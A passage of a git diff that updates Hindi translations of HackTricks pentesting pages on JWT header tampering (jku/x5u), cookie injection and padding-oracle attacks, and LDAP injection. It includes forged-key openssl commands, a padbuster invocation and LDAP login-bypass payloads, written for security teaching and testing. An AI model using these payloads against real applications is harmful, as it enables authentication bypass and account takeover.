send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well. openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem @@ -148,13 +148,13 @@ A scenario where the `kid` parameter specifies a file path used within a command jku stands for **JWK Set URL**.\ If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for. -First you need to create a new certificate with new private & public keys +First you need to create a new certificate with new private & public keys. ```bash openssl genrsa -out keypair.pem 2048 openssl rsa -in keypair.pem -pubout -out publickey.crt openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key ``` -फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं ताकि **निर्मित सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर jku को बनाए गए प्रमाणपत्र की ओर इंगित किया जा सके।** एक मान्य jku प्रमाणपत्र बनाने के लिए, आप मूल प्रमाणपत्र डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं। +फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं ताकि **बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर jku को बनाए गए प्रमाणपत्र की ओर इंगित किया जा सके।** एक मान्य jku प्रमाणपत्र बनाने के लिए, आप मूल प्रमाणपत्र डाउनलोड कर सकते हैं और आवश्यक पैरामीटर बदल सकते हैं। आप सार्वजनिक प्रमाणपत्र से "e" और "n" पैरामीटर प्राप्त कर सकते हैं: ```bash @@ -171,7 +171,7 @@ X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प् कोशिश करें कि **इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप **JWT को छेड़ सकते हैं**। -एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जो आपके द्वारा नियंत्रित है, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजी निकालनी होगी: +एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजियों को निकालना होगा: ```bash openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem @@ -231,12 +231,12 @@ Finally, using the public and private key and the new "n" and "e" values you can यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है। -यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया (SECP256k1 के साथ) तो निजी कुंजी का खुलासा करना](https://asecuritysite.com/encryption/ecd5) +यहां एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया है तो निजी कुंजी का खुलासा करना (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5) ### JTI (JWT ID) JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद्वितीय पहचानकर्ता प्रदान करता है। इसका उपयोग टोकन को पुनः खेलने से रोकने के लिए किया जा सकता है।\ -हालांकि, एक स्थिति की कल्पना करें जहाँ ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः खेलना** (प्रत्येक सफल पुनः खेल के बीच 10000 अनुरोध भेजने की आवश्यकता है)। +हालांकि, एक स्थिति की कल्पना करें जहां ID की अधिकतम लंबाई 4 है (0001-9999)। अनुरोध 0001 और 10001 समान ID का उपयोग करने जा रहे हैं। इसलिए यदि बैकएंड प्रत्येक अनुरोध पर ID को बढ़ा रहा है, तो आप इसका दुरुपयोग कर सकते हैं **एक अनुरोध को पुनः खेलना** (प्रत्येक सफल पुनः खेल के बीच 10000 अनुरोध भेजने की आवश्यकता है)। ### JWT पंजीकृत दावे @@ -246,13 +246,13 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद **क्रॉस-सेवा रिले हमले** -यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहाँ एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि किसी तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर प्राप्त टोकन को लक्ष्य पर एक अनुरोध में पुनः खेलने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है। +यह देखा गया है कि कुछ वेब अनुप्रयोग अपने टोकनों के निर्माण और प्रबंधन के लिए एक विश्वसनीय JWT सेवा पर निर्भर करते हैं। ऐसे उदाहरण दर्ज किए गए हैं जहां एक ग्राहक के लिए JWT सेवा द्वारा उत्पन्न एक टोकन को उसी JWT सेवा के दूसरे ग्राहक द्वारा स्वीकार किया गया। यदि किसी तीसरे पक्ष की सेवा के माध्यम से JWT का जारी करना या नवीनीकरण देखा जाता है, तो उस सेवा के दूसरे ग्राहक पर उसी उपयोगकर्ता नाम/ईमेल का उपयोग करके एक खाता बनाने की संभावना की जांच की जानी चाहिए। फिर प्राप्त टोकन को लक्ष्य पर एक अनुरोध में पुनः खेलने का प्रयास किया जाना चाहिए यह देखने के लिए कि क्या इसे स्वीकार किया जाता है। -* आपके टोकन के स्वीकार किए जाने से एक महत्वपूर्ण समस्या का संकेत मिल सकता है, जो किसी भी उपयोगकर्ता के खाते की नकल करने की अनुमति दे सकता है। हालाँकि, यह ध्यान रखना चाहिए कि तीसरे पक्ष के अनुप्रयोग पर साइन अप करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह एक कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है। +* आपके टोकन के स्वीकार किए जाने से एक महत्वपूर्ण समस्या का संकेत मिल सकता है, जो किसी भी उपयोगकर्ता के खाते की नकल करने की अनुमति दे सकता है। हालांकि, यह ध्यान रखना चाहिए कि तीसरे पक्ष के अनुप्रयोग पर साइन अप करने के लिए व्यापक परीक्षण की अनुमति की आवश्यकता हो सकती है, क्योंकि यह कानूनी ग्रे क्षेत्र में प्रवेश कर सकता है। **टोकनों की समाप्ति जांच** -टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेल हमलों को कम करने की सिफारिश करता है "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने के लिए। इसके अलावा, इस मान को संसाधित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है। +टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC अनुशंसा करता है कि JWT पुनः खेलने के हमलों को कम करने के लिए टोकन के लिए समाप्ति समय सेट करने के लिए "exp" दावा का उपयोग किया जाए। इसके अलावा, इस मान की प्रक्रिया सुनिश्चित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है। * यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता। @@ -260,7 +260,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद {% embed url="https://github.com/ticarpi/jwt_tool" %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). diff --git a/pentesting-web/hacking-with-cookies/README.md b/pentesting-web/hacking-with-cookies/README.md index 62ae2791a..bcbb6c0c3 100644 --- a/pentesting-web/hacking-with-cookies/README.md +++ b/pentesting-web/hacking-with-cookies/README.md @@ -29,7 +29,7 @@ Learn & practice GCP Hacking:
+
-या PHP में कुकी नाम की **शुरुआत में अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है: +या PHP में कुकी नाम की शुरुआत में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है: -
+
## Cookies Attacks @@ -116,15 +116,15 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook ### Decoding and Manipulating Cookies -कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और उनके संशोधित डेटा को कुकी में वापस एन्कोड करके अन्य उपयोगकर्ताओं का अनुकरण करने की अनुमति देती है। +कुकीज़ में एम्बेडेड संवेदनशील डेटा को हमेशा जांचा जाना चाहिए। Base64 या समान प्रारूपों में एन्कोडेड कुकीज़ को अक्सर डिकोड किया जा सकता है। यह कमजोरी हमलावरों को कुकी की सामग्री को बदलने और अन्य उपयोगकर्ताओं की नकल करने की अनुमति देती है, उनके संशोधित डेटा को कुकी में वापस एन्कोड करके। ### Session Hijacking -यह हमला एक उपयोगकर्ता की कुकी चुराने से संबंधित है ताकि उनके खाते में अनधिकृत पहुँच प्राप्त की जा सके। चुराई गई कुकी का उपयोग करके, एक हमलावर वैध उपयोगकर्ता का अनुकरण कर सकता है। +यह हमला एक उपयोगकर्ता की कुकी चुराने से संबंधित है ताकि उनके खाते में अनधिकृत पहुँच प्राप्त की जा सके। चुराई गई कुकी का उपयोग करके, एक हमलावर वैध उपयोगकर्ता की नकल कर सकता है। ### Session Fixation -इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित का अनुकरण कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है। +इस परिदृश्य में, एक हमलावर एक पीड़ित को एक विशिष्ट कुकी का उपयोग करके लॉग इन करने के लिए धोखा देता है। यदि एप्लिकेशन लॉगिन पर एक नई कुकी असाइन नहीं करता है, तो हमलावर, जिसके पास मूल कुकी है, पीड़ित की नकल कर सकता है। यह तकनीक इस पर निर्भर करती है कि पीड़ित हमलावर द्वारा प्रदान की गई कुकी के साथ लॉग इन करता है। यदि आपने एक **XSS एक उपडोमेन में** पाया है या आप **एक उपडोमेन को नियंत्रित करते हैं**, तो पढ़ें: @@ -144,17 +144,17 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook ### [JWT Cookies](../hacking-jwt-json-web-tokens.md) -संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें। +JWT में संभावित दोषों को समझाने वाले पृष्ठ तक पहुँचने के लिए पिछले लिंक पर क्लिक करें। -कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें कैसे शोषित किया जा सकता है, इस पर गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है। +कुकीज़ में उपयोग किए जाने वाले JSON वेब टोकन (JWT) भी कमजोरियाँ प्रस्तुत कर सकते हैं। संभावित दोषों और उन्हें शोषित करने के तरीकों के बारे में गहन जानकारी के लिए, JWT हैकिंग पर लिंक किए गए दस्तावेज़ तक पहुँचने की सिफारिश की जाती है। ### Cross-Site Request Forgery (CSRF) -यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो स्वचालित रूप से कमजोर साइट के साथ हर अनुरोध के साथ भेजी जाती हैं। +यह हमला एक लॉग इन उपयोगकर्ता को एक वेब एप्लिकेशन पर अवांछित क्रियाएँ करने के लिए मजबूर करता है जिसमें वे वर्तमान में प्रमाणित हैं। हमलावर उन कुकीज़ का लाभ उठा सकते हैं जो कमजोर साइट पर हर अनुरोध के साथ स्वचालित रूप से भेजी जाती हैं। ### Empty Cookies -(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़रों को बिना नाम वाली कुकीज़ बनाने की अनुमति होती है, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है: +(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) ब्राउज़र बिना नाम वाली कुकीज़ बनाने की अनुमति देते हैं, जिसे JavaScript के माध्यम से इस प्रकार प्रदर्शित किया जा सकता है: ```js document.cookie = "a=v1" document.cookie = "=test value;" // Setting an empty named cookie @@ -168,7 +168,7 @@ document.cookie = `${name}=${value}`; setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value ``` -यह ब्राउज़र को एक कुकी हेडर भेजने की ओर ले जाता है जिसे हर वेब सर्वर द्वारा `a` नामक कुकी के रूप में व्याख्यायित किया जाता है जिसका मान `b` है। +यह ब्राउज़र को एक कुकी हेडर भेजने की ओर ले जाता है जिसे हर वेब सर्वर द्वारा `a` नामक कुकी के रूप में और `b` मान के साथ व्याख्यायित किया जाता है। #### Chrome बग: यूनिकोड सरोगेट कोडपॉइंट समस्या @@ -186,19 +186,19 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; ``` #### कुकी इंजेक्शन कमजोरियाँ -(अधिक विवरण के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही ढंग से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है: +(अधिक जानकारी के लिए [मूल शोध](https://blog.ankursundara.com/cookie-bugs/) देखें) सर्वरों द्वारा कुकीज़ का गलत पार्सिंग, विशेष रूप से Undertow, Zope, और जो Python के `http.cookie.SimpleCookie` और `http.cookie.BaseCookie` का उपयोग करते हैं, कुकी इंजेक्शन हमलों के लिए अवसर पैदा करता है। ये सर्वर नए कुकीज़ की शुरुआत को सही ढंग से सीमित नहीं करते, जिससे हमलावरों को कुकीज़ को स्पूफ करने की अनुमति मिलती है: * Undertow एक उद्धृत मान के तुरंत बाद एक नए कुकी की अपेक्षा करता है बिना सेमीकोलन के। -* Zope अगले कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है। +* Zope अगली कुकी को पार्स करने के लिए एक अल्पविराम की तलाश करता है। * Python की कुकी कक्षाएँ एक स्पेस कैरेक्टर पर पार्सिंग शुरू करती हैं। -यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जो सुरक्षा उपायों को बायपास कर सकती है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाती है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकती है। +यह कमजोरी विशेष रूप से उन वेब अनुप्रयोगों में खतरनाक है जो कुकी-आधारित CSRF सुरक्षा पर निर्भर करते हैं, क्योंकि यह हमलावरों को स्पूफ किए गए CSRF-टोकन कुकीज़ इंजेक्ट करने की अनुमति देती है, जिससे सुरक्षा उपायों को बायपास किया जा सकता है। समस्या Python के डुप्लिकेट कुकी नामों के प्रबंधन से बढ़ जाती है, जहां अंतिम घटना पहले वाले को ओवरराइड कर देती है। यह असुरक्षित संदर्भों में `__Secure-` और `__Host-` कुकीज़ के लिए चिंताएँ भी उठाता है और जब कुकीज़ को बैक-एंड सर्वरों पर भेजा जाता है जो स्पूफिंग के प्रति संवेदनशील होते हैं, तो यह प्राधिकरण बायपास का कारण बन सकता है। -### अतिरिक्त कमजोर कुकीज़ जांचें +### अतिरिक्त कमजोर कुकीज़ जांच -#### **बुनियादी जांचें** +#### **बुनियादी जांच** -* **कुकी** हर बार जब आप **लॉगिन** करते हैं, तो **एक जैसी** होती है। +* **कुकी** हर बार जब आप **लॉगिन** करते हैं तो **एक जैसी** होती है। * लॉग आउट करें और उसी कुकी का उपयोग करने का प्रयास करें। * एक ही खाते में 2 उपकरणों (या ब्राउज़रों) के साथ उसी कुकी का उपयोग करके लॉग इन करने का प्रयास करें। * जांचें कि क्या कुकी में कोई जानकारी है और इसे संशोधित करने का प्रयास करें। @@ -211,7 +211,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; यदि कुकी लॉग इन करते समय समान (या लगभग समान) रहती है, तो इसका मतलब शायद यह है कि कुकी आपके खाते के किसी क्षेत्र से संबंधित है (संभवतः उपयोगकर्ता नाम)। फिर आप कर सकते हैं: * बहुत समान उपयोगकर्ता नाम के साथ कई **खाते** बनाने का प्रयास करें और देखें कि एल्गोरिदम कैसे काम कर रहा है। -* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी। +* **उपयोगकर्ता नाम को ब्रूटफोर्स** करने का प्रयास करें। यदि कुकी केवल आपके उपयोगकर्ता नाम के लिए एक प्रमाणीकरण विधि के रूप में सहेजी जाती है, तो आप उपयोगकर्ता नाम "**Bmin**" के साथ एक खाता बना सकते हैं और अपनी कुकी के हर एक **बिट** को **ब्रूटफोर्स** कर सकते हैं क्योंकि आप जो कुकी आज़माएंगे उनमें से एक "**admin**" की होगी। * **पैडिंग** **ओरकल** का प्रयास करें (आप कुकी की सामग्री को डिक्रिप्ट कर सकते हैं)। **पैडबस्टर** का उपयोग करें। **पैडिंग ओरकल - पैडबस्टर उदाहरण** @@ -247,13 +247,13 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB **ECB** यदि कुकी को ECB का उपयोग करके एन्क्रिप्ट किया गया है तो यह कमजोर हो सकता है।\ -जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है वह हमेशा समान होनी चाहिए। +जब आप लॉग इन करते हैं, तो आपको जो कुकी मिलती है वह हमेशा एक समान होनी चाहिए। **कैसे पता करें और हमला करें:** लगभग समान डेटा (उपयोगकर्ता नाम, पासवर्ड, ईमेल, आदि) के साथ 2 उपयोगकर्ता बनाएं और दिए गए कुकी के अंदर कुछ पैटर्न खोजने की कोशिश करें। -उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक को समान कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)। +उदाहरण के लिए "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" नाम का एक उपयोगकर्ता बनाएं और देखें कि क्या कुकी में कोई पैटर्न है (चूंकि ECB हर ब्लॉक को एक ही कुंजी के साथ एन्क्रिप्ट करता है, यदि उपयोगकर्ता नाम एन्क्रिप्ट किया गया है तो समान एन्क्रिप्टेड बाइट्स दिखाई दे सकते हैं)। एक पैटर्न होना चाहिए (एक उपयोग किए गए ब्लॉक के आकार के साथ)। इसलिए, यह जानकर कि "a" का एक गुच्छा कैसे एन्क्रिप्ट किया गया है, आप एक उपयोगकर्ता नाम बना सकते हैं: "a"\*(ब्लॉक का आकार)+"admin"। फिर, आप कुकी से "a" के एक ब्लॉक के एन्क्रिप्टेड पैटर्न को हटा सकते हैं। और आपके पास उपयोगकर्ता नाम "admin" की कुकी होगी। diff --git a/pentesting-web/ldap-injection.md b/pentesting-web/ldap-injection.md index 17263b22c..59279c903 100644 --- a/pentesting-web/ldap-injection.md +++ b/pentesting-web/ldap-injection.md @@ -3,23 +3,23 @@ ## LDAP Injection {% hint style="success" %} -सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks का समर्थन करें +Support HackTricks -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमसे जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). +If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). {% embed url="https://www.stmcyber.com/careers" %} @@ -33,37 +33,37 @@ [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -**LDAP Injection** एक हमला है जो वेब अनुप्रयोगों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP कथन बनाते हैं। यह तब होता है जब अनुप्रयोग **इनपुट को सही तरीके से साफ़ करने में विफल रहता है**, जिससे हमलावरों को **स्थानीय प्रॉक्सी के माध्यम से LDAP कथनों में हेरफेर करने** की अनुमति मिलती है, जो संभावित रूप से अनधिकृत पहुंच या डेटा हेरफेर का कारण बन सकती है। +**LDAP Injection** एक हमला है जो वेब अनुप्रयोगों को लक्षित करता है जो उपयोगकर्ता इनपुट से LDAP कथन बनाते हैं। यह तब होता है जब अनुप्रयोग **इनपुट को सही ढंग से साफ़ करने में विफल रहता है**, जिससे हमलावरों को **स्थानीय प्रॉक्सी के माध्यम से LDAP कथनों में हेरफेर करने** की अनुमति मिलती है, जो संभावित रूप से अनधिकृत पहुंच या डेटा हेरफेर का कारण बन सकती है। {% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %} **Filter** = ( filtercomp )\ -**Filtercomp** = और / या / नहीं / आइटम\ +**Filtercomp** = and / or / not / item\ **And** = & filterlist\ **Or** = |filterlist\ **Not** = ! filter\ **Filterlist** = 1\*filter\ -**Item**= सरल / उपस्थित / उपसर्ग\ +**Item**= simple / present / substring\ **Simple** = attr filtertype assertionvalue\ **Filtertype** = _'=' / '\~=' / '>=' / '<='_\ **Present** = attr = \*\ **Substring** = attr ”=” \[initial] \* \[final]\ **Initial** = assertionvalue\ **Final** = assertionvalue\ -**(&)** = पूर्ण TRUE\ -**(|)** = पूर्ण FALSE +**(&)** = Absolute TRUE\ +**(|)** = Absolute FALSE उदाहरण के लिए:\ `(&(!(objectClass=Impresoras))(uid=s*))`\ `(&(objectClass=user)(uid=*))` -आप डेटाबेस तक पहुँच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है। +आप डेटाबेस तक पहुंच सकते हैं, और इसमें विभिन्न प्रकार की जानकारी हो सकती है। **OpenLDAP**: यदि 2 फ़िल्टर आते हैं, तो केवल पहले को निष्पादित करता है।\ **ADAM या Microsoft LDS**: 2 फ़िल्टर के साथ वे एक त्रुटि फेंकते हैं।\ **SunOne Directory Server 5.0**: दोनों फ़िल्टर निष्पादित करते हैं। -**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए या एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।** +**यह बहुत महत्वपूर्ण है कि फ़िल्टर को सही सिंटैक्स के साथ भेजा जाए, अन्यथा एक त्रुटि फेंकी जाएगी। केवल 1 फ़िल्टर भेजना बेहतर है।** फ़िल्टर को इस प्रकार शुरू करना चाहिए: `&` या `|`\ उदाहरण: `(&(directory=val1)(folder=public))` @@ -73,7 +73,7 @@ फिर: `(&(objectClass=`**`*)(ObjectClass=*))`** पहला फ़िल्टर होगा (जो निष्पादित होता है)। -### लॉगिन बायपास +### Login Bypass LDAP पासवर्ड को स्टोर करने के लिए कई प्रारूपों का समर्थन करता है: स्पष्ट, md5, smd5, sh1, sha, crypt। इसलिए, यह हो सकता है कि आप जो भी पासवर्ड के अंदर डालें, वह हैश किया गया हो। ```bash @@ -138,7 +138,7 @@ password=any ### ब्लाइंड LDAP इंजेक्शन -आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए False या True प्रतिक्रियाओं को मजबूर कर सकते हैं: +आप किसी भी डेटा के लौटने की जांच करने और संभावित ब्लाइंड LDAP इंजेक्शन की पुष्टि करने के लिए झूठे या सही उत्तरों को मजबूर कर सकते हैं: ```bash #This will result on True, so some information will be shown Payload: *)(objectClass=*))(&objectClass=void @@ -167,7 +167,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P #### **मान्य LDAP फ़ील्ड खोजें** -LDAP ऑब्जेक्ट्स **डिफ़ॉल्ट रूप से कई विशेषताएँ शामिल करते हैं** जिन्हें **जानकारी सहेजने के लिए उपयोग किया जा सकता है।** आप उस जानकारी को निकालने के लिए **उनमें से सभी को ब्रूट-फोर्स करने की कोशिश कर सकते हैं।** आप [**डिफ़ॉल्ट LDAP विशेषताओं की सूची यहाँ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt) 